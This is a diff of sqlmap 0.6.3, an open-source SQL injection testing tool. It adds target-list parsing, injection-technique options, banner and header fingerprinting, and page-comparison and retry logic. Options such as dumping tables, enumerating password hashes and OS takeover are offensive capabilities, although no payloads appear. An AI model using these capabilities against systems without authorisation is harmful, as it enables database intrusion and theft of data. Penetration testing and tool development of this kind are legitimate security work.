conf.loggedToOut = None
conf.multipleTargets = False
conf.outputPath = None
conf.paramDict = {}
conf.parameters = {}
conf.paramNegative = False
conf.path = None
conf.port = None
conf.retries = 0
conf.scheme = None
conf.sessionFP = None
conf.start = True
conf.threadException = False
def __setKnowledgeBaseAttributes():
@@ -443,13 +606,18 @@ def __setKnowledgeBaseAttributes():
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.bannerFp = {}
kb.headersCount = 0
kb.headersFp = {}
kb.htmlFp = []
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.parenthesis = None
kb.resumedQueries = {}
kb.stackedTest = None
kb.targetUrls = set()
kb.timeTest = None
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
@@ -488,14 +656,19 @@ def __saveCmdline():
if value == None:
if datatype == "boolean":
value = "False"
elif datatype == "integer":
if option == "threads":
elif datatype in ( "integer", "float" ):
if option in ( "threads", "verbose" ):
value = "1"
elif option == "timeout":
value = "10"
else:
value = "0"
elif datatype == "string":
value = ""
if isinstance(value, str):
value = value.replace("\n", "\n ")
confFP.write("%s = %s\n" % (option, value))
confFP.write("\n")
@@ -512,13 +685,12 @@ def __setVerbosity():
This function set the verbosity of sqlmap output messages.
"""
if not conf.verbose:
conf.verbose = 0
return
if conf.verbose == None:
conf.verbose = 1
conf.verbose = int(conf.verbose)
if conf.verbose <= 1:
if conf.verbose == 1:
logger.setLevel(logging.INFO)
elif conf.verbose > 1 and conf.eta:
conf.verbose = 1
@@ -559,15 +731,18 @@ def init(inputOptions=advancedDict()):
__setConfAttributes()
__setKnowledgeBaseAttributes()
__cleanupOptions()
__setHTTPTimeout()
__setHTTPCookies()
__setHTTPReferer()
__setHTTPUserAgent()
__setHTTPExtraHeaders()
__setHTTPMethod()
__setHTTPAuthentication()
__setHTTPProxy()
__setThreads()
__setRemoteDBMS()
__setDBMS()
__setGoogleDorking()
__setMultipleTargets()
__urllib2Opener()
update()

View File

@@ -25,26 +25,45 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
optDict = {
# Family: { "parameter_name": "parameter_datatype",
"Request": {
# Family: { "parameter_name": "parameter_datatype" },
"Target": {
"url": "string",
"list": "string",
"googleDork": "string",
"testParameter": "string",
},
"Request": {
"method": "string",
"data": "string",
"cookie": "string",
"referer": "string",
"agent": "string",
"userAgentsFile": "string",
"headers": "string",
"aType": "string",
"aCred": "string",
"proxy": "string",
"threads": "integer",
"delay": "float",
"timeout": "float",
},
"Injection": {
"string": "string",
"testParameter": "string",
"dbms": "string",
"prefix": "string",
"postfix": "string",
"string": "string",
"regexp": "string",
"eString": "string",
"eRegexp": "string",
},
"Techniques": {
"stackedTest": "boolean",
"timeTest": "boolean",
"unionTest": "boolean",
"unionUse": "boolean",
},
"Fingerprint": {
@@ -55,6 +74,7 @@ optDict = {
"getBanner": "boolean",
"getCurrentUser": "boolean",
"getCurrentDb": "boolean",
"isDba": "boolean",
"getUsers": "boolean",
"getPasswordHashes": "boolean",
"getPrivileges": "boolean",
@@ -84,8 +104,6 @@ optDict = {
},
"Miscellaneous": {
"unionTest": "boolean",
"unionUse": "boolean",
"eta": "boolean",
"verbose": "integer",
"updateAll": "boolean",

View File

@@ -35,9 +35,9 @@ class ProgressBar:
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
self.__progBar = "[]"
self.__oldProgBar = ""
self.__min = minValue
self.__max = maxValue
self.__span = maxValue - minValue
self.__min = int(minValue)
self.__max = int(maxValue)
self.__span = self.__max - self.__min
self.__width = totalWidth
self.__amount = 0
self.update()

View File

@@ -48,6 +48,20 @@ def setString():
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setRegexp():
"""
Save regular expression to match in session file.
"""
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Regular expression") )
)
if condition:
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setInjection():
"""
Save information retrieved about injection place and parameter in the
@@ -178,6 +192,28 @@ def resumeConfKb(expression, url, value):
if not test or test[0] in ("y", "Y"):
conf.string = string
elif expression == "Regular expression" and url == conf.url:
regexp = value[:-1]
logMsg = "resuming regular expression match '%s' from session file" % regexp
logger.info(logMsg)
if regexp and ( not conf.regexp or regexp != conf.regexp ):
if not conf.regexp:
message = "you did not provide any regular expression "
message += "to match. "
else:
message = "The regular expression you provided does not "
message += "match the resumed regular expression. "
message += "Do you want to use the resumed regular expression "
message += "to be matched in page when the query "
message += "is valid? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
conf.regexp = regexp
elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1]

View File

@@ -30,7 +30,7 @@ import sys
# sqlmap version and site
VERSION = "0.6.2"
VERSION = "0.6.3"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
@@ -56,7 +56,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ]
@@ -64,3 +64,7 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
# TODO: port to command line/configuration file options?
SECONDS = 5
RETRIES = 3

View File

@@ -54,6 +54,8 @@ def queriesForAutoCompletion():
autoComplQuery = query
elif isinstance(query, dict) and "inband" in query:
autoComplQuery = query["inband"]["query"]
else:
continue
autoComplQueries[autoComplQuery] = None

View File

@@ -77,7 +77,9 @@ def __setRequestParams():
# Perform checks on Cookie parameters
if conf.cookie:
urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
# TODO: sure about decoding the cookie?
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
urlDecodedCookie = conf.cookie.replace("%", "%%")
conf.parameters["Cookie"] = urlDecodedCookie
__paramDict = paramToDict("Cookie", urlDecodedCookie)
@@ -197,6 +199,20 @@ def initTargetEnv():
Initialize target environment.
"""
if conf.multipleTargets:
conf.paramDict = {}
conf.parameters = {}
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.parenthesis = None
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
parseTargetUrl()
__setRequestParams()
__setOutputResume()

View File

@@ -53,7 +53,7 @@ def __updateMSSQLXML():
logger.info(infoMsg)
try:
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
mssqlVersionsHtmlString, _ = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
except sqlmapConnectionException, _:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1]
@@ -231,7 +231,7 @@ def __updateSqlmap():
logger.debug(debugMsg)
try:
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
sqlmapNewestVersion, _ = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
__sqlmapHostname = __sqlmapPath[1]
@@ -243,7 +243,6 @@ def __updateSqlmap():
return
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
sqlmapNewestVersion = "0.6.1"
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
errMsg = "sqlmap version is in a wrong syntax"
@@ -272,7 +271,7 @@ def __updateSqlmap():
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
try:
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
sqlmapBinaryString, _ = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
__sqlmapHostname = __sqlmapPath[1]

View File

@@ -31,19 +31,20 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile
from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
class bannerHandler(ContentHandler):
class MSSQLBannerHandler(ContentHandler):
"""
This class defines methods to parse and extract information from
the given DBMS banner based upon the data in XML file
This class defines methods to parse and extract information from the
given Microsoft SQL Server banner based upon the data in XML file
"""
def __init__(self, banner):
self.__banner = sanitizeStr(banner)
self.release = None
self.version = None
self.servicePack = None
self.__inVersion = False
self.__inServicePack = False
self.__release = None
@@ -51,6 +52,15 @@ class bannerHandler(ContentHandler):
self.__servicePack = ""
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
kb.bannerFp[key] = value
def startElement(self, name, attrs):
if name == "signatures":
self.__release = sanitizeStr(attrs.get("release"))
@@ -72,9 +82,9 @@ class bannerHandler(ContentHandler):
def endElement(self, name):
if name == "signature":
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
self.release = self.__release
self.version = self.__version
self.servicePack = self.__servicePack
self.__feedInfo("dbmsRelease", self.__release)
self.__feedInfo("dbmsVersion", self.__version)
self.__feedInfo("dbmsServicePack", self.__servicePack)
self.__version = ""
self.__servicePack = ""
@@ -89,16 +99,30 @@ class bannerHandler(ContentHandler):
self.__servicePack = self.__servicePack.replace(" ", "")
def bannerParser(banner, xmlfile):
def bannerParser(banner):
"""
This function calls a class to extract information from the given
DBMS banner based upon the data in XML file
"""
if kb.dbms == "Microsoft SQL Server":
xmlfile = paths.MSSQL_XML
elif kb.dbms == "MySQL":
xmlfile = paths.MYSQL_XML
elif kb.dbms == "Oracle":
xmlfile = paths.ORACLE_XML
elif kb.dbms == "PostgreSQL":
xmlfile = paths.PGSQL_XML
checkFile(xmlfile)
banner = sanitizeStr(banner)
handler = bannerHandler(banner)
if kb.dbms == "Microsoft SQL Server":
handler = MSSQLBannerHandler(banner)
parse(xmlfile, handler)
return handler.release, handler.version, handler.servicePack
handler = FingerprintHandler(banner, kb.bannerFp)
parse(paths.GENERIC_XML, handler)
else:
handler = FingerprintHandler(banner, kb.bannerFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)

View File

@@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from optparse import OptionError
from optparse import OptionGroup
from optparse import OptionParser
@@ -37,23 +39,33 @@ def cmdLineParser():
This function parses the command line parameters and arguments
"""
usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}"
usage = "%s [options]" % sys.argv[0]
parser = OptionParser(usage=usage, version=VERSION_STRING)
try:
# Request options
request = OptionGroup(parser, "Request", "These options have to "
"be specified to set the target url, HTTP "
"method, how to connect to the target url "
"or Google dorking results in general.")
parser.add_option("-v", dest="verbose", type="int",
help="Verbosity level: 0-5 (default 1)")
request.add_option("-u", "--url", dest="url", help="Target url")
# Target options
target = OptionGroup(parser, "Target", "At least one of these "
"options has to be specified to set the source "
"to get target urls from.")
request.add_option("-g", dest="googleDork",
target.add_option("-u", "--url", dest="url", help="Target url")
target.add_option("-l", dest="list", help="Parse targets from Burp "
"or WebScarab logs")
target.add_option("-g", dest="googleDork",
help="Process Google dork results as target urls")
request.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
target.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
# Request options
request = OptionGroup(parser, "Request", "These options can be used "
"to specify how to connect to the target url.")
request.add_option("--method", dest="method", default="GET",
help="HTTP method, GET or POST (default: GET)")
@@ -74,6 +86,9 @@ def cmdLineParser():
help="Load a random HTTP User-Agent "
"header from file")
request.add_option("--headers", dest="headers",
help="Extra HTTP headers '\\n' separated")
request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type, value: "
"Basic or Digest")
@@ -89,22 +104,85 @@ def cmdLineParser():
help="Maximum number of concurrent HTTP "
"requests (default 1)")
request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float",
help="Seconds to wait before timeout connection "
"(default 10)")
# Injection options
injection = OptionGroup(parser, "Injection")
injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test "
"for, provide custom injection payloads and "
"how to parse and compare HTTP responses "
"page content when using the blind SQL "
"injection technique.")
injection.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
injection.add_option("--prefix", dest="prefix",
help="Injection payload prefix string")
injection.add_option("--postfix", dest="postfix",
help="Injection payload postfix string")
injection.add_option("--string", dest="string",
help="String to match in page when the "
"query is valid")
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
injection.add_option("--regexp", dest="regexp",
help="Regexp to match in page when the "
"query is valid")
injection.add_option("--excl-str", dest="eString",
help="String to be excluded before calculating "
"page hash")
injection.add_option("--excl-reg", dest="eRegexp",
help="Regexp matches to be excluded before "
"calculating page hash")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
"technique or to use one of them to exploit "
"the affected parameter(s) rather than using "
"the default blind SQL injection technique.")
techniques.add_option("--stacked-test", dest="stackedTest",
action="store_true",
help="Test for stacked queries (multiple "
"statements) support")
techniques.add_option("--time-test", dest="timeTest",
action="store_true",
help="Test for Time based blind SQL injection")
techniques.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION query (inband) SQL injection")
techniques.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION query (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
action="store_true",
help="Perform an extensive database fingerprint")
help="Perform an extensive DBMS version fingerprint")
# Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can "
@@ -124,6 +202,10 @@ def cmdLineParser():
action="store_true",
help="Retrieve DBMS current database")
enumeration.add_option("--is-dba", dest="isDba",
action="store_true",
help="Detect if the DBMS current user is DBA")
enumeration.add_option("--users", dest="getUsers", action="store_true",
help="Enumerate DBMS users")
@@ -143,11 +225,11 @@ def cmdLineParser():
enumeration.add_option("--columns", dest="getColumns", action="store_true",
help="Enumerate DBMS database table columns "
"(req: -T, -D)")
"(req:-T opt:-D)")
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
help="Dump DBMS database table entries "
"(req: -T, -D opt: -C, --start, --stop)")
"(req: -T, opt: -D, -C, --start, --stop)")
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
help="Dump all DBMS databases tables entries")
@@ -182,6 +264,7 @@ def cmdLineParser():
action="store_true",
help="Prompt for an interactive SQL shell")
# File system options
filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database "
@@ -195,6 +278,7 @@ def cmdLineParser():
filesystem.add_option("--write-file", dest="wFile",
help="Write to a specific OS file (not yet available)")
# Takeover options
takeover = OptionGroup(parser, "Operating system access", "This "
"option can be used to access the back-end "
@@ -208,27 +292,15 @@ def cmdLineParser():
"writable directory within the web "
"server document root for the moment)")
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
miscellaneous.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and "
"calculate the estimated time of arrival "
"in real time")
miscellaneous.add_option("-v", dest="verbose", type="int",
help="Verbosity level: 0-5 (default 0)")
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version")
@@ -236,17 +308,17 @@ def cmdLineParser():
help="Save and resume all data retrieved "
"on a session file")
miscellaneous.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
help="Save options on a configuration INI file")
miscellaneous.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behaviour")
parser.add_option_group(target)
parser.add_option_group(request)
parser.add_option_group(injection)
parser.add_option_group(techniques)
parser.add_option_group(fingerprint)
parser.add_option_group(enumeration)
parser.add_option_group(filesystem)
@@ -255,8 +327,8 @@ def cmdLineParser():
(args, _) = parser.parse_args()
if not args.url and not args.googleDork and not args.configFile and not args.updateAll:
errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), "
if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:
errMsg = "missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), "
errMsg += "-h for help"
parser.error(errMsg)

View File

@@ -79,15 +79,18 @@ def configFileParser(configFile):
config = ConfigParser()
config.read(configFile)
if not config.has_section("Request"):
raise NoSectionError, "Request in the configuration file is mandatory"
if not config.has_section("Target"):
raise NoSectionError, "Target in the configuration file is mandatory"
if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"):
condition = not config.has_option("Target", "url")
condition &= not config.has_option("Target", "list")
condition &= not config.has_option("Target", "googleDork")
if condition:
errMsg = "missing a mandatory option in the configuration "
errMsg += "file (url or googleDork)"
errMsg += "file (url, list or googleDork)"
raise sqlmapMissingMandatoryOptionException, errMsg
for family, optionData in optDict.items():
for option, data in optionData.items():
boolean = False

96
lib/parse/handler.py Normal file
View File

@@ -0,0 +1,96 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr
from lib.core.data import kb
class FingerprintHandler(ContentHandler):
"""
This class defines methods to parse and extract information from
the given DBMS banner based upon the data in XML file
"""
def __init__(self, banner, info):
self.__banner = sanitizeStr(banner)
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None
self.__info = info
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
if key in ( "dbmsVersion" ):
self.__info[key] = value
else:
if key not in self.__info.keys():
self.__info[key] = set()
for v in value.split("|"):
self.__info[key].add(v)
def startElement(self, name, attrs):
if name == "regexp":
self.__regexp = sanitizeStr(attrs.get("value"))
self.__match = re.search(self.__regexp, self.__banner, re.I | re.M)
if name == "info" and self.__match:
self.__feedInfo("type", attrs.get("type"))
self.__feedInfo("distrib", attrs.get("distrib"))
self.__feedInfo("release", attrs.get("release"))
self.__feedInfo("codename", attrs.get("codename"))
self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
self.__techVersion = sanitizeStr(attrs.get("tech_version"))
self.__sp = sanitizeStr(attrs.get("sp"))
if self.__dbmsVersion.isdigit():
self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
if self.__techVersion.isdigit():
self.__feedInfo("technology", "%s %s" % (attrs.get("technology"), self.__match.group(int(self.__techVersion))))
else:
self.__feedInfo("technology", attrs.get("technology"))
if self.__sp.isdigit():
self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None

70
lib/parse/headers.py Normal file
View File

@@ -0,0 +1,70 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax import parse
from lib.core.common import checkFile
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
def headersParser(headers):
"""
This function calls a class that parses the input HTTP headers to
fingerprint the back-end database management system operating system
and the web application technology
"""
# It is enough to parse the headers on first four HTTP responses
if kb.headersCount > 3:
return
kb.headersCount += 1
topHeaders = {
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
}
for header in headers:
if header in topHeaders.keys():
value = headers[header]
xmlfile = topHeaders[header]
checkFile(xmlfile)
handler = FingerprintHandler(value, kb.headersFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)

View File

@@ -31,6 +31,8 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile
from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
class htmlHandler(ContentHandler):
@@ -61,15 +63,19 @@ class htmlHandler(ContentHandler):
self.__match = None
def htmlParser(page, xmlfile):
def htmlParser(page):
"""
This function calls a class that parses the input HTML page to
fingerprint the back-end database management system
"""
xmlfile = paths.ERRORS_XML
checkFile(xmlfile)
page = sanitizeStr(page)
handler = htmlHandler(page)
parse(xmlfile, handler)
if handler.dbms and handler.dbms not in kb.htmlFp:
kb.htmlFp.append(handler.dbms)
return handler.dbms

View File

@@ -95,6 +95,14 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query"))
self.__queries.count = data
elif name == "comment":
data = sanitizeStr(attrs.get("query"))
self.__queries.comment = data
elif name == "timedelay":
data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data
elif name == "substring":
data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data
@@ -115,6 +123,10 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query"))
self.__queries.currentDb = data
elif name == "is_dba":
data = sanitizeStr(attrs.get("query"))
self.__queries.isDba = data
elif name == "inband":
self.__inband = sanitizeStr(attrs.get("query"))
self.__inband2 = sanitizeStr(attrs.get("query2"))

View File

@@ -29,6 +29,7 @@ import re
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser
@@ -51,7 +52,7 @@ def forgeHeaders(cookie, ua):
return headers
def parsePage(page):
def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
@@ -63,13 +64,11 @@ def parsePage(page):
like for DBMS error messages (ERRORS_XML), see above.
"""
if not page:
return
if headers:
headersParser(headers)
htmlParsed = htmlParser(page, paths.ERRORS_XML)
if htmlParsed and htmlParsed not in kb.htmlFp:
kb.htmlFp.append(htmlParsed)
if page:
htmlParser(page)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application

106
lib/request/comparison.py Normal file
View File

@@ -0,0 +1,106 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import md5
import re
from lib.core.data import conf
def comparison(page, headers=None, content=False):
regExpResults = None
# String to be excluded before calculating page hash
if conf.eString and conf.eString in page:
index = page.index(conf.eString)
length = len(conf.eString)
pageWithoutString = page[:index]
pageWithoutString += page[index+length:]
page = pageWithoutString
# Regular expression matches to be excluded before calculating page hash
if conf.eRegexp:
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
if regExpResults:
for regExpResult in regExpResults:
index = page.index(regExpResult)
length = len(regExpResult)
pageWithoutRegExp = page[:index]
pageWithoutRegExp += page[index+length:]
page = pageWithoutRegExp
# String to match in page when the query is valid
if conf.string:
if conf.string in page:
return True
else:
return False
# Regular expression to match in page when the query is valid
if conf.regexp:
if re.search(conf.regexp, page, re.I | re.M):
return True
else:
return False
# By default it returns the page content MD5 hash
if not conf.equalLines and not conf.contentLengths:
return md5.new(page).hexdigest()
# TODO: go ahead from here
# Comparison algorithm based on Content-Length header value
elif conf.contentLengths:
minValue = conf.contentLengths[0] - 10
maxValue = conf.contentLengths[1] + 10
if len(page) >= minValue and len(page) <= maxValue:
return True
# Comparison algorithm based on page content's stable lines subset
elif conf.equalLines:
counter = 0
trueLines = 0
pageLines = page.split("\n")
for commonLine in conf.equalLines:
if counter >= len(pageLines):
break
if commonLine in pageLines:
trueLines += 1
counter += 1
# TODO: just debug prints
#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
return True
else:
return False

View File

@@ -24,10 +24,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import httplib
import md5
import re
import socket
import time
import urllib2
import urlparse
import traceback
from lib.contrib import multipartpost
from lib.core.convert import urlencode
@@ -35,9 +39,10 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.settings import RETRIES
from lib.request.basic import forgeHeaders
from lib.request.basic import parsePage
from lib.request.basic import parseResponse
from lib.request.comparison import comparison
class Connect:
@@ -45,6 +50,12 @@ class Connect:
This class defines methods used to perform HTTP requests
"""
@staticmethod
def __getPageProxy(**kwargs):
return Connect.getPage(**kwargs)
@staticmethod
def getPage(**kwargs):
"""
@@ -52,6 +63,9 @@ class Connect:
the target url page content
"""
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
url = kwargs.get('url', conf.url).replace(" ", "%20")
get = kwargs.get('get', None)
post = kwargs.get('post', None)
@@ -60,6 +74,7 @@ class Connect:
direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False)
page = ""
cookieStr = ""
requestMsg = "HTTP request:\n%s " % conf.method
responseMsg = "HTTP response "
@@ -82,6 +97,7 @@ class Connect:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart)
page = conn.read()
return page
else:
@@ -102,7 +118,9 @@ class Connect:
requestMsg += " HTTP/1.1"
if cookie:
cookie = urlencode(cookie).replace("%%", "%")
# TODO: sure about encoding the cookie?
#cookie = urlencode(cookie).replace("%%", "%")
cookie = cookie.replace("%%", "%")
try:
# Perform HTTP request
@@ -110,6 +128,9 @@ class Connect:
req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req)
# Reset the number of connection retries
conf.retries = 0
if not req.has_header("Accept-Encoding"):
requestHeaders += "\nAccept-Encoding: identity"
@@ -156,19 +177,43 @@ class Connect:
status = e.msg
responseHeaders = e.info()
except urllib2.URLError, e:
except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine), _:
tbMsg = traceback.format_exc()
if "URLError" in tbMsg or "error" in tbMsg:
warnMsg = "unable to connect to the target url"
if conf.googleDork:
elif "timeout" in tbMsg:
warnMsg = "connection timed out to the target url"
elif "BadStatusLine" in tbMsg:
warnMsg = "the target url responded with an unknown HTTP "
warnMsg += "status code, try to force the HTTP User-Agent "
warnMsg += "header with option --user-agent or -a"
if "BadStatusLine" not in tbMsg:
warnMsg += " or proxy"
if conf.multipleTargets:
warnMsg += ", skipping to next url"
logger.warn(warnMsg)
return None
return None, None
if conf.retries < RETRIES:
conf.retries += 1
warnMsg += ", sqlmap is going to retry the request"
logger.warn(warnMsg)
time.sleep(1)
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
else:
warnMsg += " or proxy"
